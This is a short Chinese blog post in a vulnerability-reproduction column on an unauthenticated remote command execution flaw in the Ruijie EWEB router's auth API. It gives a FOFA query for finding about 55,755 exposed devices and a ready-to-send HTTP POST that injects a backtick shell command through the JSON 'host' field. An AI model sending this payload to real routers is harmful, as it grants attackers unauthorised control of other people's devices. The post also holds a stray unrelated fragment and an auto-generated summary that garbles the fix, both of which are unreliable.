锐捷EWEB路由器 auth 远程命令执行漏洞

今天晚上早睡觉

于 2024-03-13 21:22:31 发布

阅读量658

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136692041

漏洞复现专栏收录该内容

363 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了锐捷EWEB路由器存在的一个严重安全问题，即auth接口在未验证身份时可执行任意命令，可能导致服务器权限被获取。影响设备数量约为55,755个。修复该漏洞的方法包括访问特定路径以复现问题，并通过更新官方补丁进行升级。" 132807568,19673271,和声搜索优化模糊神经网络在负荷预测中的应用,"['神经网络', '算法', 'Matlab', '模糊系统', '电力系统']

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

产品简介
锐捷网络EWEB路由器是锐捷网络股份有限公司的一款无线路由设备。
漏洞描述
锐捷EWEB路由器auth接口可在身份未验证的情况下执行任意命令，可以获取服务器权限，存在远程命令执行漏洞。
fofa
body=”cgi-bin/luci” && body=”#f47f3e”
影响数量55,755个

漏洞复现

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 73

{"method":"checkNet","params":{"host":"`echo qqwweerrqqq>qqwweerr.txt`"}}